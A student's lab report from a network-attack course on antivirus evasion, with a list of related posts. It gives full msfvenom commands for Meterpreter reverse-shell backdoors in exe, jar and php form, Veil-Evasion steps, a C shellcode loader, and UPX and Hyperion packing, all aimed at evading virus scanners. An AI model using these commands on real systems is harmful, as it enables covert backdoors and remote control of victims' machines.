Exp3 免杀原理与实践

20164321 王君陶

1实验要求

1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)

1.2 通过组合应用各种技术实现恶意代码免杀(0.5分) (如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。

1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)

2实验步骤

检测工具:

https://www.virustotal.com/

http://www.virscan.org/

首先使用VirusTotal或Virscan这两个网站对上次实验生成的后门程序进行扫描。

virustotal

virscan

2.1任务一

2.1.1正确使用msf编码器,生成exe文件

使用msf编码器对后门程序进行一次到多次的编码,并进行检测。

一次编码命令: msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.253.128 LPORT=4321 -f exe > met-encoded.exe

利用之前实验所学,将生成的met-encoded.exe传到windows中的ncat文件中再进行检测。

利用virustotal扫描

十次编码命令: msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.253.128 LPORT=4321 -f exe > met-encoded10.exe

利用virustotal扫描

2.1.2 msfvenom生成jar文件

成java后门程序使用命令: msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.253.128 LPORT=4321 x> 4321_backdoor_java.jar

利用virustotal扫描

2.1.3 msfvenom生成php文件

生成php后门程序使用命令: msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.253.128 LPORT=4321 x> 4321_backdoor.php

(前一个问题就是lport前面少一个空格导致生成的0kb文件,不能粗心啊!)

利用virustotal扫描

2.1.4 使用veil-evasion生成后门程序及检测

这里安装veil多次失败,没办法,拷了同学的kail直接进行试验。

输入命令veil

输入use evasion命令进入Evil-Evasion

输入命令use c/meterpreter/rev_tcp.py进入配置界面

设置反弹连接IP:set LHOST 192.168.253.128 设置端口:set LPORT 4321

再输入options进行展示修改结果

输入generate生成文件

输入payload的名字:veil_c_4321

按enter继续

利用virustotal扫描

2.1.5 半手工注入Shellcode并执行

首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.238 LPORT=4321 -f c用c语言生成一段shellcode

把上面的数组拿来编写一个程序,用vi 4321_shellcode.c命令新建一个c文件,将生成的shellcode粘贴到其中,并在之后添加主函数

进入编辑器进行编辑

再用i686-w64-mingw32-g++ 20164321_shellcode.c -o 20164321_shellcode.exe命令生成可执行文件

利用virustotal扫描

实现与杀软共存

生成shellcode半手工打造,而不是通过msfvenom指令生成一个可执行文件,风险已经降低了不少,但是仍被定性为病毒文件,所以需要进一步考虑修改代码。

2.1.6 加壳

加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。

加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是为了隐藏程序真正的OEP(入口点,防止被破解)。大多数病毒就是基于此原理。

加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。

这种技术也常用来保护软件版权,防止软件被破解。但对于病毒,加壳可以绕过一些杀毒软件的扫描,从而实现它作为病毒的一些入侵或破坏的一些特性。 MSF的编码器使用类似方法,对shellcode进行再编码。

从技术上分壳分为:

压缩壳

减少应用体积,如ASPack,UPX

加密壳

版权保护,反跟踪。如ASProtect,Armadillo

虚拟机

通过类似编译手段,将应用指令转换为自己设计的指令集。如VMProtect,Themida

2.1.6.1 压缩壳UPX

Kali下输入命令upx 20164321_shellcode.exe -o 20164321_shellcode_upxed.exe

扫描结果

2.1.6.2加密壳Hyperion

进入目录/usr/share/windows-binaries/hyperion/中;输入命令wine hyperion.exe -v 20164321_shellcode_upxed.exe 20164321_shellcode_upxed_Hyperion.exe进行加壳

再传出来进行扫描检测

2.2通过组合应用各种技术实现恶意代码免杀

如任务一中的5与6组合之后,既Shellcode与加壳,组合之后进行反弹连接,并实现了与杀软共存

在windows中点击执行

实现与杀软共存

2.3用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

免杀失败QAQ

3基础问题回答

3.1杀软是如何检测出恶意代码的?

基于特征码的检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件。

启发式恶意软件检测:启发式Heuristic,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。

基于行为的恶意软件检测:通过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。所以当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。

3.2免杀是做什么?

免杀就是让安插的后门不被AV(Anti-virus)软件发现。一般是对恶意软件做处理,让它不被杀毒软件所检测。免杀也是渗透测试中需要使用到的技术。

3.3免杀的基本方法有哪些?

改变特征码

如果你手里只有EXE

加壳:压缩壳 加密壳

shellcode(Meterpreter

用encode进行编码 基于payload重新编译生成可执行文件

有源代码

用其他语言进行重写再编译(veil-evasion)

改变行为

通讯方式

尽量使用反弹式连接 使用隧道技术 加密通讯数据

操作模式

基于内存操作 减少对系统的修改 加入混淆作用的正常功能

非常规方法

使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中 使用社工类攻击,诱骗目标关闭AV软件 纯手工打造一个恶意软件

3.4开启杀软能绝对防止电脑中恶意代码吗?

从这次的实验可以看出来,杀软是不能绝对防止电脑中的恶意代码的,比如说在VirusTotal或Virscan这两个网站中测试的时候,就发现有很多杀毒软件无法检测出恶意代码,毕竟道高一尺魔高一丈,随着病毒库的不断更新,恶意代码也在不断通过各种方法来使自己免杀,所以说杀软是不能绝对防止电脑中的恶意代码的。

4实验遇到的问题

在这次实验之中遇到的最大问题就是安装不上veil,刚开始因为坑爹的学校网,下载速度极慢,下载完成之后,解压又出现问题,实在没办法,找张哲键同学直接把他完成实验的虚拟机拷过来了,然后才进行的实验。

5实验心得

这次实验让我的最大体会就是腾讯管家是真的辣鸡啊,windows defender和火绒都可以杀掉的恶意代码,腾讯管家就不行,之前还在自己电脑装上了腾讯管家感觉电脑安全万无一失,实际发现这个做法非常之蠢,不如不装杀软,用windows自带的windows defender呢,赶紧卸载一波!。

Exp3 免杀原理与实践 20164321 王君陶的更多相关文章

  1. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  2. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  3. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  4. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  5. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  6. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

  7. 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  8. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

  9. 2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践 一.实验说明 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),vei ...

随机推荐

  1. win 下 apache 实现负载均衡

    1.打开apache的配置文件httpd.conf,打开如下项 LoadModule proxy_module modules/mod_proxy.so LoadModule proxy_ajp_mo ...

  2. Linux objdump命令

    一.简介 objdump命令是用查看目标文件或者可执行的目标文件的构成的gcc工具. 二.选项 http://my.oschina.net/alphajay/blog/7729 http://man. ...

  3. Codeforces 681C. Heap Operations 优先队列

    C. Heap Operations time limit per test:1 second memory limit per test:256 megabytes input:standard i ...

  4. VS2015 python

    http://pgqlife.info/2015/05/05/VS-Python/ 配置文档

  5. htmlparser学习(原创)

    --thumbelina.jar  这是一个演示图片搜索和显示的小程序JFrame Preferences.userNodeForPackage(getClass());  根据传入的class所在包 ...

  6. window.name跨域实现

    参考:window.name实现的跨域数据传输 有三个页面: a.com/app.html:应用页面. a.com/proxy.html:代理文件,一般是一个没有任何内容的html文件,需要和应用页面 ...

  7. 去掉字符串前后的空格和Tab

    <script language=Javascript>function String.prototype.Trim() {return this.replace(/(^\s*)|(\s* ...

  8. IT 技术网站收集

    ## 脚本之家 http://www.jb51.net/ ## 菜鸟教程 http://www.runoob.com/ ## 编程中国 https://www.bccn.net/ ##

  9. pyspider示例代码七:自动登陆并获得PDF文件下载地址

    自动登陆并获得PDF文件下载地址 #!/usr/bin/env python # -*- encoding: utf- -*- # Created on -- :: # Project: pdf_sp ...

  10. 2018.10.14 bzoj1915: 奶牛的跳格子游戏(单调队列优化dp)

    传送门 NOIP练习题. f[i]f[i]f[i]表示去的时候选了iii且回来的时候第一步走的是i−1i-1i−1的最优值. 显然f[i]=maxf[i]=maxf[i]=max{f[j]−sum[j ...